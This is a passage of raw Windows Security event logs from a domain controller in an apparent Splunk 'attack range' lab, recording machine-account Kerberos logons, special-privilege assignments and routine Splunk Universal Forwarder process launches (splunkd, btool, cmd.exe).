The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250190
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101E63

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250189
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101E02

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250188
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x101E02
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64406

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250187
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101E02

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250186
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1214
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x122c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250185
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x122c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250232
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13ec
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250231
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13f4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250230
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13f4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13e0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250229
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13c4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal_extra_splunkd_service_args

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250228
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250227
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250226
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1378
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _RAW_envvars

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250225
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1370
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1378
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250224
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1378
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250223
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250222
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12f4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250221
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250220
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12d4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250219
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1029D3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250218
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1029D3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64414

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250217
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
